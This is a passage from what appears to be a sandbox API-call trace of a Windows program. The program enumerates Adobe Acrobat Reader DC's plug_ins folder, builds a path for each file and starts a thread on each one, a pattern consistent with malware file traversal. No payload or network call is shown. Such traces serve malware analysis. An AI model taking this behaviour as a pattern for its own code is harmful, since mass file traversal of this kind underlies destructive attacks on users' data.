	[0089.697] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda84b68a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x2f463, dwReserved0=0x0, dwReserved1=0x0, cFileName="DropboxStorage.api", cAlternateFileName="DROPBO~1.API")) returned 1
	[0089.697] wcscmp (_String1="DropboxStorage.api", _String2=".") returned 1
	[0089.697] wcscmp (_String1="DropboxStorage.api", _String2="..") returned 1
	[0089.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d5e1c8
	[0089.697] wcscpy (in: _Dest=0x2d5e1c8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.697] wcscat (in: _Dest=0x2d5e1c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.697] wcscat (in: _Dest=0x2d5e1c8, _Source="DropboxStorage.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api"
	[0089.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5e1c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d48
	[0089.698] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe02be995, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1f463, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.api", cAlternateFileName="")) returned 1
	[0089.698] wcscmp (_String1="DVA.api", _String2=".") returned 1
	[0089.698] wcscmp (_String1="DVA.api", _String2="..") returned 1
	[0089.698] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x4e31710
	[0089.698] wcscpy (in: _Dest=0x4e31710, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.698] wcscat (in: _Dest=0x4e31710, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.698] wcscat (in: _Dest=0x4e31710, _Source="DVA.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api"
	[0089.698] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e31710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d4c
	[0089.698] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe069e67c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xb263, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.api", cAlternateFileName="")) returned 1
	[0089.698] wcscmp (_String1="eBook.api", _String2=".") returned 1
	[0089.698] wcscmp (_String1="eBook.api", _String2="..") returned 1
	[0089.698] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x48941e0
	[0089.698] wcscpy (in: _Dest=0x48941e0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.698] wcscat (in: _Dest=0x48941e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.698] wcscat (in: _Dest=0x48941e0, _Source="eBook.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api"
	[0089.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x48941e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d50
	[0089.699] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe03efc54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x280063, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.api", cAlternateFileName="")) returned 1
	[0089.699] wcscmp (_String1="EScript.api", _String2=".") returned 1
	[0089.699] wcscmp (_String1="EScript.api", _String2="..") returned 1
	[0089.699] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x4894140
	[0089.699] wcscpy (in: _Dest=0x4894140, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.699] wcscat (in: _Dest=0x4894140, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.699] wcscat (in: _Dest=0x4894140, _Source="EScript.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api"
	[0089.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4894140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d54
	[0089.700] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe0415ea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1aa63, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.api", cAlternateFileName="")) returned 1
	[0089.700] wcscmp (_String1="IA32.api", _String2=".") returned 1
	[0089.700] wcscmp (_String1="IA32.api", _String2="..") returned 1
	[0089.700] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x90) returned 0x4e31e30
	[0089.700] wcscpy (in: _Dest=0x4e31e30, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.700] wcscat (in: _Dest=0x4e31e30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.700] wcscat (in: _Dest=0x4e31e30, _Source="IA32.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api"
	[0089.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e31e30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d58
	[0089.701] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa4033a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x26fa63, dwReserved0=0x0, dwReserved1=0x0, cFileName="MakeAccessible.api", cAlternateFileName="MAKEAC~1.API")) returned 1
	[0089.701] wcscmp (_String1="MakeAccessible.api", _String2=".") returned 1
	[0089.701] wcscmp (_String1="MakeAccessible.api", _String2="..") returned 1
	[0089.701] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d5e7f8
	[0089.701] wcscpy (in: _Dest=0x2d5e7f8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.701] wcscat (in: _Dest=0x2d5e7f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.701] wcscat (in: _Dest=0x2d5e7f8, _Source="MakeAccessible.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api"
	[0089.701] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5e7f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d5c
	[0089.701] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3425a337, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3425a337, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia", cAlternateFileName="MULTIM~1")) returned 1
	[0089.701] wcscmp (_String1="Multimedia", _String2=".") returned 1
	[0089.701] wcscmp (_String1="Multimedia", _String2="..") returned 1
	[0089.701] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x4894780
	[0089.702] wcscpy (in: _Dest=0x4894780, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.702] wcscat (in: _Dest=0x4894780, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.702] wcscat (in: _Dest=0x4894780, _Source="Multimedia" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia"
	[0089.702] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4894780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d60
	[0089.702] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc5641f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x179063, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.api", cAlternateFileName="MULTIM~1.API")) returned 1
	[0089.702] wcscmp (_String1="Multimedia.api", _String2=".") returned 1
	[0089.702] wcscmp (_String1="Multimedia.api", _String2="..") returned 1
	[0089.702] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x4987cb8
	[0089.702] wcscpy (in: _Dest=0x4987cb8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.702] wcscat (in: _Dest=0x4987cb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.702] wcscat (in: _Dest=0x4987cb8, _Source="Multimedia.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api"
	[0089.702] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4987cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d64
	[0089.703] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa6659d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x69663, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDDom.api", cAlternateFileName="")) returned 1
	[0089.703] wcscmp (_String1="PDDom.api", _String2=".") returned 1
	[0089.703] wcscmp (_String1="PDDom.api", _String2="..") returned 1
	[0089.703] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x4894460
	[0089.703] wcscpy (in: _Dest=0x4894460, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.703] wcscat (in: _Dest=0x4894460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.703] wcscat (in: _Dest=0x4894460, _Source="PDDom.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api"
	[0089.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4894460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d68
	[0089.704] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35209fae, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec8aaee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pi_brokers", cAlternateFileName="PI_BRO~1")) returned 1
	[0089.704] wcscmp (_String1="pi_brokers", _String2=".") returned 1
	[0089.704] wcscmp (_String1="pi_brokers", _String2="..") returned 1
	[0089.704] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x4893e20
	[0089.704] wcscpy (in: _Dest=0x4893e20, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.704] wcscat (in: _Dest=0x4893e20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.704] wcscat (in: _Dest=0x4893e20, _Source="pi_brokers" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers"
	[0089.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4893e20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d6c
	[0089.704] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe05dfab0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x6edc63, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.api", cAlternateFileName="")) returned 1
	[0089.704] wcscmp (_String1="PPKLite.api", _String2=".") returned 1
	[0089.704] wcscmp (_String1="PPKLite.api", _String2="..") returned 1
	[0089.704] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x4893920
	[0089.705] wcscpy (in: _Dest=0x4893920, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.705] wcscat (in: _Dest=0x4893920, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.705] wcscat (in: _Dest=0x4893920, _Source="PPKLite.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api"
	[0089.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4893920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d70
	[0089.705] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe05dfab0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1a663, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.api", cAlternateFileName="READOU~1.API")) returned 1
	[0089.705] wcscmp (_String1="ReadOutLoud.api", _String2=".") returned 1
	[0089.705] wcscmp (_String1="ReadOutLoud.api", _String2="..") returned 1
	[0089.705] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x4987c10
	[0089.705] wcscpy (in: _Dest=0x4987c10, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.705] wcscat (in: _Dest=0x4987c10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.705] wcscat (in: _Dest=0x4987c10, _Source="ReadOutLoud.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api"
	[0089.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4987c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d74
	[0089.706] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa8c7f9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x54263, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.api", cAlternateFileName="")) returned 1
	[0089.706] wcscmp (_String1="reflow.api", _String2=".") returned 1
	[0089.706] wcscmp (_String1="reflow.api", _String2="..") returned 1
	[0089.706] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x48939c0
	[0089.706] wcscpy (in: _Dest=0x48939c0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.706] wcscat (in: _Dest=0x48939c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.706] wcscat (in: _Dest=0x48939c0, _Source="reflow.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api"
	[0089.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x48939c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d78
	[0089.707] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfab2a59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x6a663, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.api", cAlternateFileName="SAVEAS~1.API")) returned 1
	[0089.707] wcscmp (_String1="SaveAsRTF.api", _String2=".") returned 1
	[0089.707] wcscmp (_String1="SaveAsRTF.api", _String2="..") returned 1
	[0089.707] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x4987628
	[0089.707] wcscpy (in: _Dest=0x4987628, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.707] wcscat (in: _Dest=0x4987628, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.707] wcscat (in: _Dest=0x4987628, _Source="SaveAsRTF.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api"
	[0089.707] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4987628, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d7c
	[0089.707] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2df53af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x69463, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.api", cAlternateFileName="")) returned 1
	[0089.707] wcscmp (_String1="Search.api", _String2=".") returned 1
	[0089.707] wcscmp (_String1="Search.api", _String2="..") returned 1
	[0089.707] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x4893a60
	[0089.707] wcscpy (in: _Dest=0x4893a60, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
